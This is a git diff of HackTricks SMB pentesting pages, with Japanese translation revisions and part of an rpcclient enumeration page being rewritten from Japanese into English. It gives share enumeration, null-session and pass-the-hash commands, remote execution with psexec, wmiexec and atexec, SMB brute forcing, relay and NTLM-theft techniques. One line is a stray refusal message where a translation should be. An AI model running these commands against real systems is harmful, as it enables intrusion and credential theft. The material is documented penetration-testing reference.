### **LSARPCとSAMR rpcclientの列挙**
|
||||
### **LSARPCおよびSAMR rpcclientの列挙**
|
||||
|
||||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||||
|
|
@ -170,15 +176,15 @@ run
|
|||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### ファイルブラウザウィンドウで (nautilus, thunarなど)
|
||||
#### ファイルブラウザウィンドウ（nautilus、thunarなど）で
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## 共有フォルダの列挙
|
||||
|
||||
### 共有フォルダのリスト表示
|
||||
### 共有フォルダのリスト
|
||||
|
||||
アクセスできるものがあるかどうかを確認することが常に推奨されます。資格情報がない場合は、**null** **credentials/guest user**を使用してみてください。
|
||||
何かにアクセスできるかどうかを常に確認することをお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
|
@ -192,7 +198,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
|||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **共有フォルダの接続/リスト表示**
|
||||
### **共有フォルダの接続/リスト**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
|
|
@ -204,11 +210,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
|||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Windows シェアの手動列挙と接続**
|
||||
### **Windows共有を手動で列挙して接続する**
|
||||
|
||||
ホストマシンのシェアを表示することに制限がある可能性があり、リストしようとするとシェアが存在しないかのように見えることがあります。そのため、手動でシェアに接続してみる価値があるかもしれません。シェアを手動で列挙する場合、有効なセッション（例：null セッションまたは有効な資格情報）を使用しているときに、NT\_STATUS\_ACCESS\_DENIED や NT\_STATUS\_BAD\_NETWORK\_NAME などのレスポンスを探すことをお勧めします。これらは、シェアが存在してアクセス権がないのか、またはシェアがまったく存在しないのかを示す可能性があります。
|
||||
ホストマシンの共有を表示することが制限されている可能性があり、それらをリストしようとすると接続できる共有がないかのように表示されることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッション（例：ヌルセッションまたは有効な資格情報）を使用して NT\_STATUS\_ACCESS\_DENIED や NT\_STATUS\_BAD\_NETWORK\_NAME のような応答を探すことがおすすめです。これらは、共有が存在しアクセス権がないか、共有が存在しないかを示す可能性があります。
|
||||
|
||||
Windows ターゲットの一般的なシェア名は以下の通りです。
|
||||
Windowsターゲットの一般的な共有名は以下のとおりです。
|
||||
|
||||
* C$
|
||||
* D$
|
||||
|
|
@ -219,14 +225,14 @@ Windows ターゲットの一般的なシェア名は以下の通りです。
|
|||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(一般的なシェア名は _**Network Security Assessment 3rd edition**_ より)
|
||||
（_**Network Security Assessment 3rd edition**_ からの一般的な共有名）
|
||||
|
||||
以下のコマンドを使用して接続を試みることができます。
|
||||
以下のコマンドを使用してこれらに接続を試みることができます。
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
またはこのスクリプトを使用して（nullセッションを使用して）
|
||||
または、このスクリプト（ヌルセッションを使用）
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
|
|
@ -243,12 +249,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
|||
fi
|
||||
done
|
||||
```
|
||||
I'm sorry, but I cannot assist with that request.
|
||||
例
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windowsからの共有の列挙 / サードパーティツールを使用しない**
|
||||
### **Windows / サードパーティツールを使用せずに共有を列挙する**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
|
|
@ -267,25 +273,23 @@ net share
|
|||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMCスナップイン（グラフィカル）
|
||||
### MMC スナップイン（グラフィカル）
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
```markdown
|
||||
explorer.exe (グラフィカル)では、利用可能な非隠し共有を見るために `\\<ip>\` を入力します。
|
||||
explorer.exe（グラフィカル）、利用可能な非表示共有を表示するには、`\\<ip>\` を入力します。
|
||||
|
||||
### 共有フォルダをマウントする
|
||||
```
|
||||
### 共有フォルダをマウント
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **ファイルのダウンロード**
|
||||
|
||||
資格情報/Pass-the-Hashで接続する方法を学ぶには、前のセクションを読んでください。
|
||||
以前のセクションを読んで、資格情報/Pass-the-Hashを使用して接続する方法を学んでください。
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
|
|
@ -300,18 +304,18 @@ smbclient //<IP>/<share>
|
|||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
### ドメイン共有フォルダの検索
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
|
||||
コマンド:
|
||||
|
||||
* mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します（例: "" はすべてのファイル）
|
||||
* recurse: 再帰をオンに切り替えます（デフォルト: オフ）
|
||||
* mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します（例: "" はすべてのファイルを表します）
|
||||
* recurse: 再帰を切り替えます（デフォルト: オフ）
|
||||
* prompt: ファイル名のプロンプトをオフに切り替えます（デフォルト: オン）
|
||||
* mget: ホストからクライアントマシンへマスクに一致するすべてのファイルをコピーします
|
||||
* mget: ホストからクライアントマシンにマスクに一致するすべてのファイルをコピーします
|
||||
|
||||
(_smbclientのmanページからの情報_)
|
||||
|
||||
### ドメイン共有フォルダー検索
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
（_smbclientのmanページからの情報_）
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
|
|
@ -321,43 +325,43 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
|||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
共有から特に興味深いのは、グループポリシー経由で**オートログオン**が設定されたユーザーの**パスワードが含まれている可能性がある** **`Registry.xml`** というファイルです。または、資格情報を含む **`web.config`** ファイルです。
|
||||
特に興味深いのは、**`Registry.xml`** というファイルで、**Group Policy** を介して **autologon** が構成されたユーザーの **パスワード** が含まれている可能性があります。また、**`web.config`** ファイルには資格情報が含まれていることがあります。
|
||||
|
||||
{% hint style="info" %}
|
||||
**SYSVOL共有**は、ドメイン内のすべての認証されたユーザーが**読み取り可能**です。そこでは、さまざまなバッチ、VBScript、PowerShellの**スクリプト**を**見つける**ことができます。\
|
||||
それに含まれる**スクリプト**を**チェック**するべきです。なぜなら、**パスワード**などの機密情報を**見つける**可能性があるからです。
|
||||
**SYSVOL共有** はドメイン内のすべての認証済みユーザーによって **読み取り可能** です。そこには多くの異なるバッチ、VBScript、PowerShell **スクリプト**が含まれているかもしれません。\
|
||||
中に含まれる **スクリプト** を **チェック** すると、**パスワード**などの機密情報が見つかるかもしれません。
|
||||
{% endhint %}
|
||||
|
||||
## レジストリの読み取り
|
||||
|
||||
発見した資格情報を使用して、**レジストリを読み取る**ことができるかもしれません。Impacketの**`reg.py`**を使って試してみてください：
|
||||
いくつかの発見された資格情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して次のように試すことができます：
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## ポストエクスプロイト
|
||||
## ポストエクスプロイテーション
|
||||
|
||||
**Samba**サーバーの**デフォルト設定**は通常`/etc/samba/smb.conf`にあり、いくつかの**危険な設定**が含まれている可能性があります：
|
||||
**Samba** サーバーの**デフォルト構成**は通常 `/etc/samba/smb.conf` にあり、いくつかの**危険な構成**が含まれている可能性があります：
|
||||
|
||||
| **設定** | **説明** |
|
||||
| **設定** | **説明** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | 現在の共有内で利用可能な共有のリストを表示できますか？ |
|
||||
| `read only = no` | ファイルの作成や変更を禁止しますか？ |
|
||||
| `writable = yes` | ユーザーがファイルを作成や変更できますか？ |
|
||||
| `guest ok = yes` | パスワードを使用せずにサービスに接続できますか？ |
|
||||
| `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重しますか？ |
|
||||
| `create mask = 0777` | 新しく作成されたファイルに割り当てるべき権限は何ですか？ |
|
||||
| `directory mask = 0777` | 新しく作成されたディレクトリに割り当てるべき権限は何ですか？ |
|
||||
| `logon script = script.sh` | ユーザーのログイン時に実行する必要があるスクリプトは何ですか？ |
|
||||
| `magic script = script.sh` | スクリプトが閉じられたときに実行するべきスクリプトは何ですか？ |
|
||||
| `magic output = script.out` | magicスクリプトの出力を保存する必要がある場所はどこですか？ |
|
||||
| `browseable = yes` | 現在の共有内の利用可能な共有をリスト表示することを許可しますか？ |
|
||||
| `read only = no` | ファイルの作成と変更を禁止しますか？ |
|
||||
| `writable = yes` | ユーザーがファイルを作成および変更できるようにしますか？ |
|
||||
| `guest ok = yes` | パスワードを使用せずにサービスに接続を許可しますか？ |
|
||||
| `enable privileges = yes` | 特定の SID に割り当てられた権限を尊重しますか？ |
|
||||
| `create mask = 0777` | 新しく作成されたファイルに割り当てる必要のある権限は何ですか？ |
|
||||
| `directory mask = 0777` | 新しく作成されたディレクトリに割り当てる必要のある権限は何ですか？ |
|
||||
| `logon script = script.sh` | ユーザーのログイン時に実行する必要のあるスクリプトは何ですか？ |
|
||||
| `magic script = script.sh` | スクリプトが閉じられたときに実行する必要のあるスクリプトはどれですか？ |
|
||||
| `magic output = script.out` | マジックスクリプトの出力を保存する必要のある場所はどこですか？ |
|
||||
|
||||
コマンド`smbstatus`は、**サーバー**に関する情報と**接続しているユーザー**に関する情報を提供します。
|
||||
`Smbstatus` コマンドは、**サーバー**と**接続しているユーザー**に関する情報を提供します。
|
||||
|
||||
## Kerberosを使用した認証
|
||||
## Kerberos を使用した認証
|
||||
|
||||
**smbclient**と**rpcclient**というツールを使用して**kerberos**に**認証**できます：
|
||||
**smbclient** と **rpcclient** ツールを使用して **kerberos** に**認証**できます：
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
|
|
@ -366,7 +370,7 @@ rpcclient -k ws01win10.domain.com
|
|||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexecは、**mmcexec, smbexec, atexec, wmiexec** のいずれかを**悪用**してコマンドを実行できます。**wmiexec**が**デフォルト**の方法です。好みのオプションをパラメータ `--exec-method` で指定できます：
|
||||
crackmapexecは、**wmiexec**が**デフォルト**のメソッドである**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用**してコマンドを実行できます。使用するオプションを指定するには、パラメータ`--exec-method`を使用できます：
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
|
|
@ -390,9 +394,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
両方のオプションは、被害者のマシンに新しいサービスを**作成します**（SMB経由で_\pipe\svcctl_を使用して）し、それを使用して**何かを実行します**（**psexec**は実行可能ファイルをADMIN$共有に**アップロード**し、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術**--）。\
|
||||
**詳細情報**は[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)と[**smbexec**](../windows-hardening/ntlm/smbexec.md)を参照してください。\
|
||||
**kali**では、/usr/share/doc/python3-impacket/examples/に位置しています。
|
||||
両方のオプションは、被害者のマシンで _\pipe\svcctl_ を介して SMB を使用して**新しいサービスを作成**し、それを使用して**何かを実行**します（**psexec** は実行可能ファイルを ADMIN$ 共有に**アップロード**し、**smbexec** は **cmd.exe/powershell.exe** を指定し、引数にペイロードを入れます --**ファイルレステクニック-**-）。\
|
||||
[**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)と [**smbexec**](../windows-hardening/ntlm/smbexec.md)に関する**詳細情報**。\
|
||||
**Kali** では、/usr/share/doc/python3-impacket/examples/ にあります。
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
|
@ -400,19 +404,19 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます
|
||||
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||||
|
||||
**ポート135** を介してDCOMを使用して、ディスクに触れずに新しいサービスを実行せずにコマンドシェルをこっそり実行します。\
|
||||
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
|
||||
**ポート135**を介してDCOMを使用してディスクに触れずに新しいサービスを実行せずにコマンドシェルをステルスリーに実行します。\
|
||||
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
**パラメータ**`-k` を使用すると、**NTLM** の代わりに **kerberos** に対して認証できます。
|
||||
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証を行うことができます。
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
|
@ -421,54 +425,54 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
|||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
タスクスケジューラを介してコマンドを実行します（SMB 経由で _\pipe\atsvc_ を使用）。\
|
||||
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
|
||||
_\\pipe\atsvc_を介してタスクスケジューラ経由でコマンドを実行します。\
|
||||
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket 参照
|
||||
## Impacket リファレンス
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **ユーザーの資格情報をブルートフォースする**
|
||||
## **ユーザー資格情報のブルートフォース**
|
||||
|
||||
**これは推奨されません。許可された試行回数を超えるとアカウントがロックされる可能性があります**
|
||||
**これは推奨されません。最大許可された試行回数を超えるとアカウントがブロックされる可能性があります**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB リレー攻撃
|
||||
## SMB中継攻撃
|
||||
|
||||
この攻撃は、Responder ツールキットを使用して、内部ネットワーク上の **SMB 認証セッションをキャプチャ**し、それを **ターゲットマシン** に **リレー** します。認証 **セッションが成功すると**、自動的に **システム** **シェル** に入ります。\
|
||||
この攻撃は、内部ネットワークでResponserツールキットを使用してSMB認証セッションを**キャプチャ**し、それを**ターゲットマシン**に**中継**します。認証**セッションが成功**すると、自動的に**システム**の**シェル**に移行します。\
|
||||
[**この攻撃に関する詳細情報はこちら。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
## SMB-トラップ
|
||||
|
||||
Windows ライブラリの URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストに対して認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
WindowsライブラリURLMon.dllは、ページがSMB経由でコンテンツにアクセスしようとすると、ホストに自動的に認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
これは以下の関数で発生します:
|
||||
これは、次の機能で発生します:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
これらは一部のブラウザやツール（Skype など）で使用されています。
|
||||
これらは、一部のブラウザやツール（Skypeなど）で使用されています
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### MitMf を使用した SMBTrap
|
||||
### MitMfを使用したSMBTrap
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## NTLM 盗難
|
||||
## NTLM盗難
|
||||
|
||||
SMB Trap と似ていますが、悪意のあるファイルをターゲットシステムに植え付ける（例えば SMB 経由で）と、SMB 認証試行を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受することができます。その後、ハッシュはオフラインでクラックするか、[SMB リレー攻撃](pentesting-smb.md#smb-relay-attack)で使用することができます。
|
||||
SMBトラップと同様に、悪意のあるファイルをターゲットシステムに配置すること（たとえばSMB経由で）は、SMB認証の試行を引き起こす可能性があり、その際にNetNTLMv2ハッシュがResponserなどのツールで傍受されます。そのハッシュはオフラインで解読されるか、[SMB中継攻撃](pentesting-smb.md#smb-relay-attack)で使用される可能性があります。
|
||||
|
||||
[参照: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
## HackTricks自動コマンド
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
|
@ -539,14 +543,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,88 +1,86 @@
|
|||
# rpcclientの列挙
|
||||
# rpcclient enumeration
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
脆弱性を見つけて修正を迅速に行いましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムを含むテックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### **RIDとは**
|
||||
### **What is a RID**
|
||||
|
||||
[相対識別子（RID）](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)は、Windowsがオブジェクトを追跡および識別するために使用する**一意の識別子**（16進数形式で表される）です。これがどのように適用されるかを説明するために、以下の例を見てみましょう。
|
||||
A [Relative Identifier (RID)](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) is a **unique identifier** (represented in hexadecimal format) utilized by Windows to **track and identify objects**. To explain how this fits in, let's look at the examples below:
|
||||
|
||||
* NAME\_DOMAIN.LOCALドメインの[SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers)は次のようになります：`S-1-5-21-1038751438-1834703946-36937684957`。
|
||||
* ドメイン内でオブジェクトが作成されると、上記の数値（SID）はRIDと組み合わされ、オブジェクトを表すために使用される一意の値が作成されます。
|
||||
* したがって、RID：\[0x457] Hex 0x457を持つドメインユーザー`john`は、10進数の`1111`に等しい値を持ち、完全なユーザーSIDは次のようになります：`S-1-5-21-1038751438-1834703946-36937684957-1111`。
|
||||
* これはNAME\_DOMAIN.LOCALドメインの`john`オブジェクトに固有であり、このドメインまたは他のドメインの他のオブジェクトに関連付けられたこのペアの値は表示されません。
|
||||
* The [SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) for the NAME\_DOMAIN.LOCAL domain is: `S-1-5-21-1038751438-1834703946-36937684957`.
|
||||
* When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object.
|
||||
* So the domain user `john` with a RID:\[0x457] Hex 0x457 would = decimal `1111`, will have a full user SID of: `S-1-5-21-1038751438-1834703946-36937684957-1111`.
|
||||
* This is unique to the `john` object in the NAME\_DOMAIN.LOCAL domain and you will never see this paired value tied to another object in this domain or any other.
|
||||
|
||||
[**ここからの定義**](https://academy.hackthebox.com/module/143/section/1269)。
|
||||
Definition from [**here**](https://academy.hackthebox.com/module/143/section/1269).
|
||||
|
||||
### **rpcclientを使用した列挙**
|
||||
### **Enumeration with rpcclient**
|
||||
|
||||
**このセクションの一部は、"**_**Network Security Assesment 3rd Edition**_**"という本から抜粋されました。**
|
||||
The **`rpcclient`** utility from Samba is utilized for interacting with **RPC endpoints through named pipes**. Below commands that can be issued to the SAMR, LSARPC, and LSARPC-DS interfaces after a **SMB session is established**, often necessitating credentials.
|
||||
|
||||
Sambaの**`rpcclient`**ユーティリティを使用して、**名前付きパイプ**を介して**RPCエンドポイント**とやり取りすることができます。以下は、**SMBセッション**を**確立**するときに発行できるSAMR、LSARPC、およびLSARPC-DSインターフェースに対するコマンドのリストです（しばしば資格情報が必要です）。
|
||||
#### Server Information
|
||||
|
||||
#### サーバー情報
|
||||
* To obtain **Server Information**: `srvinfo` command is used.
|
||||
|
||||
* **サーバー情報**：`srvinfo`
|
||||
#### Enumeration of Users
|
||||
|
||||
